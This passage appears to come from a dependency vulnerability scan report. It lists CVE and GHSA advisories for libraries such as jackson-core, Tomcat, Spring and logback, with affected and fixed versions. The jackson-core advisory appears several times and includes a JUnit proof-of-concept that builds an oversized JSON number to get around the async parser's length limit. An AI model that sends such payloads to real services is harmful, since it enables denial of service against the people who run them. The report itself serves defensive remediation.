2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2025-11226 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.5.18
Fixed Version: 1.5.19, 1.3.16
Target: distro/run/core/pom.xml
Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.
A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2025-11226
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.19.2
Fixed Version: 2.21.1, 2.18.6
Target: distro/run/core/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2025-48924 - org.apache.commons:commons-lang3
Severity: MEDIUM
Installed Version: 3.17.0
Fixed Version: 3.18.0
Target: distro/run/core/pom.xml
Title: Uncontrolled Recursion vulnerability in Apache Commons Lang. This iss ...
Description:
Uncontrolled Recursion vulnerability in Apache Commons Lang.
This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.
The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a
StackOverflowError could cause an application to stop.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-48924
CVE-2025-66614 - org.apache.tomcat.embed:tomcat-embed-core
Severity: MEDIUM
Installed Version: 10.1.44
Fixed Version: 11.0.15, 10.1.50, 9.0.113
Target: distro/run/core/pom.xml
Title: tomcat: Client certificate verification bypass due to virtual host mapping
Description:
Improper Input Validation vulnerability.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0-M1 through 9.0.112.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 through 8.5.100. Older EOL versions are not affected.
Tomcat did not validate that the host name provided via the SNI
extension was the same as the host name provided in the HTTP host header
field. If Tomcat was configured with more than one virtual host and the
TLS configuration for one of those hosts did not require client
certificate authentication but another one did, it was possible for a
client to bypass the client certificate authentication by sending
different host names in the SNI extension and the HTTP host header field.
The vulnerability only applies if client certificate authentication is
only enforced at the Connector. It does not apply if client certificate
authentication is enforced at the web application.
Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-66614
CVE-2026-25854 - org.apache.tomcat.embed:tomcat-embed-core
Severity: MEDIUM
Installed Version: 10.1.44
Fixed Version: 9.0.116, 10.1.53, 11.0.20
Target: distro/run/core/pom.xml
Title: Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve
Description:
Occasional URL redirection to untrusted Site ('Open Redirect') vulnerability in Apache Tomcat via the LoadBalancerDrainingValve.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M23 through 9.0.115, from 8.5.30 through 8.5.100.
Other, unsupported versions may also be affected
Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-25854
CVE-2026-22737 - org.springframework:spring-webmvc
Severity: MEDIUM
Installed Version: 6.2.10
Fixed Version: 7.0.6, 6.2.17
Target: distro/run/core/pom.xml
Title: Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views
Description:
Use of Java scripting engine enabled (e.g. JRuby, Jython) template views in Spring MVC and Spring WebFlux applications can result in disclosure of content from files outside the configured locations for script template views. This issue affects Spring Framework: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.
Reference: https://avd.aquasec.com/nvd/cve-2026-22737
CVE-2026-22745 - org.springframework:spring-webmvc
Severity: MEDIUM
Installed Version: 6.2.10
Fixed Version: 7.0.7, 6.2.18
Target: distro/run/core/pom.xml
Title: spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows
Description:
Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources.
More precisely, an application can be vulnerable when all the following are true:
* the application is using Spring MVC or Spring WebFlux
* the application is serving static resources from the file system
* the application is running on a Windows platform
When all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application.
Reference: https://avd.aquasec.com/nvd/cve-2026-22745
CVE-2026-22751 - org.springframework.security:spring-security-core
Severity: MEDIUM
Installed Version: 6.5.3
Fixed Version: 6.5.10, 7.0.5
Target: distro/run/modules/oauth2/pom.xml
Title: Spring Security: JdbcOneTimeTokenService: Spring Security: Authentication bypass due to race condition in One-Time Token login
Description:
Vulnerability in Spring Spring Security. Applications that explicitly configure One-Time Token login with JdbcOneTimeTokenService are vulnerable to a Time-of-check Time-of-use (TOCTOU) race condition. This issue affects Spring Security: from 6.4.0 through 6.4.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.
Reference: https://avd.aquasec.com/nvd/cve-2026-22751
CVE-2026-22748 - org.springframework.security:spring-security-oauth2-jose
Severity: MEDIUM
Installed Version: 6.5.3
Fixed Version: 6.5.10, 7.0.5
Target: distro/run/modules/oauth2/pom.xml
Title: Spring Security: Spring Security: Integrity impact due to improper JSON Web Token (JWT) validation
Description:
Vulnerability in Spring Spring Security. When an application configures JWT decoding with NimbusJwtDecoder or NimbusReactiveJwtDecoder, it must configure an OAuth2TokenValidator<Jwt> separately, for example by calling setJwtValidator.This issue affects Spring Security: from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.
Reference: https://avd.aquasec.com/nvd/cve-2026-22748
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.19.2
Fixed Version: 2.21.1, 2.18.6
Target: distro/run/modules/rest/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.19.2
Fixed Version: 2.21.1, 2.18.6
Target: distro/run/modules/webapps/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2026-22737 - org.springframework:spring-webmvc
Severity: MEDIUM
Installed Version: 6.2.10
Fixed Version: 7.0.6, 6.2.17
Target: distro/run/modules/webapps/pom.xml
Title: Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views
Description:
Use of Java scripting engine enabled (e.g. JRuby, Jython) template views in Spring MVC and Spring WebFlux applications can result in disclosure of content from files outside the configured locations for script template views. This issue affects Spring Framework: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.
Reference: https://avd.aquasec.com/nvd/cve-2026-22737
CVE-2026-22745 - org.springframework:spring-webmvc
Severity: MEDIUM
Installed Version: 6.2.10
Fixed Version: 7.0.7, 6.2.18
Target: distro/run/modules/webapps/pom.xml
Title: spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows
Description:
Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources.
More precisely, an application can be vulnerable when all the following are true:
* the application is using Spring MVC or Spring WebFlux
* the application is serving static resources from the file system
* the application is running on a Windows platform
When all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application.
Reference: https://avd.aquasec.com/nvd/cve-2026-22745
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.19.2
Fixed Version: 2.21.1, 2.18.6
Target: distro/run/qa/example-plugin/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2025-66614 - org.apache.tomcat:tomcat
Severity: MEDIUM
Installed Version: 10.1.43
Fixed Version: 11.0.15, 10.1.50, 9.0.113
Target: distro/tomcat/assembly/pom.xml
Title: tomcat: Client certificate verification bypass due to virtual host mapping
Description:
Improper Input Validation vulnerability.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0-M1 through 9.0.112.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 through 8.5.100. Older EOL versions are not affected.
Tomcat did not validate that the host name provided via the SNI
extension was the same as the host name provided in the HTTP host header
field. If Tomcat was configured with more than one virtual host and the
TLS configuration for one of those hosts did not require client
certificate authentication but another one did, it was possible for a
client to bypass the client certificate authentication by sending
different host names in the SNI extension and the HTTP host header field.
The vulnerability only applies if client certificate authentication is
only enforced at the Connector. It does not apply if client certificate
authentication is enforced at the web application.
Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-66614
CVE-2026-25854 - org.apache.tomcat:tomcat
Severity: MEDIUM
Installed Version: 10.1.43
Fixed Version: 9.0.116, 10.1.53, 11.0.20
Target: distro/tomcat/assembly/pom.xml
Title: Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve
Description:
Occasional URL redirection to untrusted Site ('Open Redirect') vulnerability in Apache Tomcat via the LoadBalancerDrainingValve.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M23 through 9.0.115, from 8.5.30 through 8.5.100.
Other, unsupported versions may also be affected
